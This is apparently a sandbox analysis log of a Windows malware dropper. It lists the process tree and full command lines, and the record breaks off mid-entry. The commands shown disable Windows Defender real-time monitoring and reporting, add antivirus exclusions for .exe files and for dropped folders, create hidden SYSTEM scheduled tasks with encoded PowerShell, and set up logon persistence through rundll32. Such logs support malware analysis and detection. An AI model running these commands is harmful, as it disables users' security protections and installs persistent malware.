PID 1684 wrote to memory of 1668	1684	forfiles.exe	cmd.exe
PID 1684 wrote to memory of 1668	1684	forfiles.exe	cmd.exe
PID 1684 wrote to memory of 1668	1684	forfiles.exe	cmd.exe
PID 1684 wrote to memory of 1668	1684	forfiles.exe	cmd.exe
PID 1684 wrote to memory of 1668	1684	forfiles.exe	cmd.exe
PID 1684 wrote to memory of 1668	1684	forfiles.exe	cmd.exe
PID 1684 wrote to memory of 1668	1684	forfiles.exe	cmd.exe
PID 1568 wrote to memory of 1556	1568	forfiles.exe	cmd.exe
PID 1568 wrote to memory of 1556	1568	forfiles.exe	cmd.exe
PID 1568 wrote to memory of 1556	1568	forfiles.exe	cmd.exe
PID 1568 wrote to memory of 1556	1568	forfiles.exe	cmd.exe
PID 1568 wrote to memory of 1556	1568	forfiles.exe	cmd.exe
PID 1568 wrote to memory of 1556	1568	forfiles.exe	cmd.exe
PID 1568 wrote to memory of 1556	1568	forfiles.exe	cmd.exe
PID 1668 wrote to memory of 272	1668	cmd.exe	reg.exe
PID 1668 wrote to memory of 272	1668	cmd.exe	reg.exe
PID 1668 wrote to memory of 272	1668	cmd.exe	reg.exe
PID 1668 wrote to memory of 272	1668	cmd.exe	reg.exe
PID 1668 wrote to memory of 272	1668	cmd.exe	reg.exe
PID 1668 wrote to memory of 272	1668	cmd.exe	reg.exe
PID 1668 wrote to memory of 272	1668	cmd.exe	reg.exe
PID 1556 wrote to memory of 364	1556	cmd.exe	reg.exe
PID 1556 wrote to memory of 364	1556	cmd.exe	reg.exe
PID 1556 wrote to memory of 364	1556	cmd.exe	reg.exe
PID 1556 wrote to memory of 364	1556	cmd.exe	reg.exe
PID 1556 wrote to memory of 364	1556	cmd.exe	reg.exe
PID 1556 wrote to memory of 364	1556	cmd.exe	reg.exe
PID 1556 wrote to memory of 364	1556	cmd.exe	reg.exe
PID 1668 wrote to memory of 976	1668	cmd.exe	reg.exe
PID 1668 wrote to memory of 976	1668	cmd.exe	reg.exe
PID 1668 wrote to memory of 976	1668	cmd.exe	reg.exe
PID 1668 wrote to memory of 976	1668	cmd.exe	reg.exe
PID 1668 wrote to memory of 976	1668	cmd.exe	reg.exe
PID 1668 wrote to memory of 976	1668	cmd.exe	reg.exe
PID 1668 wrote to memory of 976	1668	cmd.exe	reg.exe
PID 1556 wrote to memory of 1620	1556	cmd.exe	reg.exe

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1228

C:\Users\Admin\AppData\Local\Temp\7zS7E.tmp\Install.exe
.\Install.exe
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1724

C:\Users\Admin\AppData\Local\Temp\7zS5AC.tmp\Install.exe
.\Install.exe /S /site_id "525403"
3⤵
- Checks BIOS information in registry
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
PID:1124

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
4⤵
- Suspicious use of WriteProcessMemory
PID:1684

C:\Windows\SysWOW64\cmd.exe
/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
5⤵
- Suspicious use of WriteProcessMemory
PID:1668

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
6⤵
PID:272

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
6⤵
PID:976

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
4⤵
- Suspicious use of WriteProcessMemory
PID:1568

C:\Windows\SysWOW64\cmd.exe
/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
5⤵
- Suspicious use of WriteProcessMemory
PID:1556

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
6⤵
PID:364

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
6⤵
PID:1620

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gjFitEmjZ" /SC once /ST 06:55:11 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
4⤵
- Creates scheduled task(s)
PID:1904

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gjFitEmjZ"
4⤵
PID:1880

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gjFitEmjZ"
4⤵
PID:560

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "boytPmuAkKgmiEZYSe" /SC once /ST 15:49:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\MiBciKVvopIpRLyaf\lPAIFilFZOpRFIX\FCxGTtg.exe\" X6 /site_id 525403 /S" /V1 /F
4⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:1096

C:\Windows\system32\taskeng.exe
taskeng.exe {BFD57099-D781-4231-B57C-F7FDA9E32B5A} S-1-5-21-1214520366-621468234-4062160515-1000:VDWSWJJD\Admin:Interactive:[1]
1⤵
PID:1092

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:964

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:2032

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1064

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:1608

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1556

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:2012

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1880

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:872

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:296

C:\Windows\system32\taskeng.exe
taskeng.exe {37FDF27A-597C-4EBD-A6FF-DF5A5255E790} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:1920

C:\Users\Admin\AppData\Local\Temp\MiBciKVvopIpRLyaf\lPAIFilFZOpRFIX\FCxGTtg.exe
C:\Users\Admin\AppData\Local\Temp\MiBciKVvopIpRLyaf\lPAIFilFZOpRFIX\FCxGTtg.exe X6 /site_id 525403 /S
2⤵
- Executes dropped EXE
- Drops file in System32 directory
PID:1888

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "glpRQYVNo" /SC once /ST 13:39:36 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
3⤵
- Creates scheduled task(s)
PID:1936

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "glpRQYVNo"
3⤵
PID:1916

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "glpRQYVNo"
3⤵
PID:1368

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
3⤵
PID:956

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
4⤵
- Modifies Windows Defender Real-time Protection settings
PID:1788

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
3⤵
PID:1908

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
4⤵
- Modifies Windows Defender Real-time Protection settings
PID:392

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gRJxqlxwW" /SC once /ST 01:55:57 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
3⤵
- Creates scheduled task(s)
PID:1628

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gRJxqlxwW"
3⤵
PID:1060

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gRJxqlxwW"
3⤵
PID:468

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\UIFvrSrxAzeYKEuX" /t REG_DWORD /d 0 /reg:32
3⤵
PID:1488

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\UIFvrSrxAzeYKEuX" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1728

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\UIFvrSrxAzeYKEuX" /t REG_DWORD /d 0 /reg:64
3⤵
PID:1108

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\UIFvrSrxAzeYKEuX" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1180

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\UIFvrSrxAzeYKEuX" /t REG_DWORD /d 0 /reg:32
3⤵
PID:1572

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\UIFvrSrxAzeYKEuX" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1256

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\UIFvrSrxAzeYKEuX" /t REG_DWORD /d 0 /reg:64
3⤵
PID:1576

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\UIFvrSrxAzeYKEuX" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1548

C:\Windows\SysWOW64\cmd.exe
cmd /C copy nul "C:\Windows\Temp\UIFvrSrxAzeYKEuX\tlKfxeWQ\MEOcApjptLHOGkNu.wsf"
3⤵
PID:560

C:\Windows\SysWOW64\wscript.exe
wscript "C:\Windows\Temp\UIFvrSrxAzeYKEuX\tlKfxeWQ\MEOcApjptLHOGkNu.wsf"
3⤵
- Modifies data under HKEY_USERS
PID:1748

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\OKneYAAzclQU2" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:2004

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\OKneYAAzclQU2" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1700

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZiLpQKvFpwQmACSzEAR" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:2000

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZiLpQKvFpwQmACSzEAR" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1568

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\eCbNXTSQanJlC" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:832

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\eCbNXTSQanJlC" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1104

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\vcfECUarZbUn" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:656

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\vcfECUarZbUn" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1736

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\wRLQelouU" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:296

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\wRLQelouU" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1000

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\WoychCUlhHkYXpVB" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1764

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\WoychCUlhHkYXpVB" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1424

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\MiBciKVvopIpRLyaf" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1056

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\MiBciKVvopIpRLyaf" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1576

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\UIFvrSrxAzeYKEuX" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1876

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\UIFvrSrxAzeYKEuX" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1208

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\OKneYAAzclQU2" /t REG_DWORD /d 0 /reg:32
4⤵
PID:952

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\OKneYAAzclQU2" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1696

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZiLpQKvFpwQmACSzEAR" /t REG_DWORD /d 0 /reg:32
4⤵
PID:316

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZiLpQKvFpwQmACSzEAR" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1952

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\eCbNXTSQanJlC" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1104

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\eCbNXTSQanJlC" /t REG_DWORD /d 0 /reg:64
4⤵
PID:740

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\vcfECUarZbUn" /t REG_DWORD /d 0 /reg:32
4⤵
PID:432

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\vcfECUarZbUn" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1584

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\wRLQelouU" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1180

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\wRLQelouU" /t REG_DWORD /d 0 /reg:32
4⤵
PID:816

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\WoychCUlhHkYXpVB" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1288

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\WoychCUlhHkYXpVB" /t REG_DWORD /d 0 /reg:64
4⤵
PID:756

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\MiBciKVvopIpRLyaf" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1096

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\MiBciKVvopIpRLyaf" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1060

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\UIFvrSrxAzeYKEuX" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1820

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\UIFvrSrxAzeYKEuX" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1432

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gItBWObeU" /SC once /ST 05:51:04 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
3⤵
- Creates scheduled task(s)
PID:1556

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gItBWObeU"
3⤵
PID:1160

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gItBWObeU"
3⤵
PID:1764

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32
3⤵
PID:1728

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32
4⤵
PID:1448

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:64
3⤵
PID:820

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:64
4⤵
PID:1288

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "tRsUEOedRvIwZoOQu" /SC once /ST 04:58:33 /RU "SYSTEM" /TR "\"C:\Windows\Temp\UIFvrSrxAzeYKEuX\VEdIRfVaNlgFjwC\xYQloEu.exe\" nL /site_id 525403 /S" /V1 /F
3⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:1788

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "tRsUEOedRvIwZoOQu"
3⤵
PID:1320

C:\Windows\Temp\UIFvrSrxAzeYKEuX\VEdIRfVaNlgFjwC\xYQloEu.exe
C:\Windows\Temp\UIFvrSrxAzeYKEuX\VEdIRfVaNlgFjwC\xYQloEu.exe nL /site_id 525403 /S
2⤵
- Checks computer location settings
- Executes dropped EXE
- Drops Chrome extension
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1272

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "boytPmuAkKgmiEZYSe"
3⤵
PID:1820

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
3⤵
PID:964

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
4⤵
PID:1752

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
3⤵
PID:556

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
4⤵
PID:1568

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\wRLQelouU\vZbaxL.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "xhAFLspUEGhlntx" /V1 /F
3⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:1224

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "xhAFLspUEGhlntx2" /F /xml "C:\Program Files (x86)\wRLQelouU\Mkbujbj.xml" /RU "SYSTEM"
3⤵
- Creates scheduled task(s)
PID:296

C:\Windows\SysWOW64\schtasks.exe
schtasks /END /TN "xhAFLspUEGhlntx"
3⤵
PID:1496

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "xhAFLspUEGhlntx"
3⤵
PID:1168

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "TGleSCHdxQCUEC" /F /xml "C:\Program Files (x86)\OKneYAAzclQU2\TXlEuvi.xml" /RU "SYSTEM"
3⤵
- Creates scheduled task(s)
PID:872

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "iixDycgqswbNt2" /F /xml "C:\ProgramData\WoychCUlhHkYXpVB\LlpNTGM.xml" /RU "SYSTEM"
3⤵
- Creates scheduled task(s)
PID:1180

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "PdJioIBoJxlJjfqRR2" /F /xml "C:\Program Files (x86)\ZiLpQKvFpwQmACSzEAR\MXxemTg.xml" /RU "SYSTEM"
3⤵
- Creates scheduled task(s)
PID:1908

C:\Windows\SysWOW64\schtasks.exe
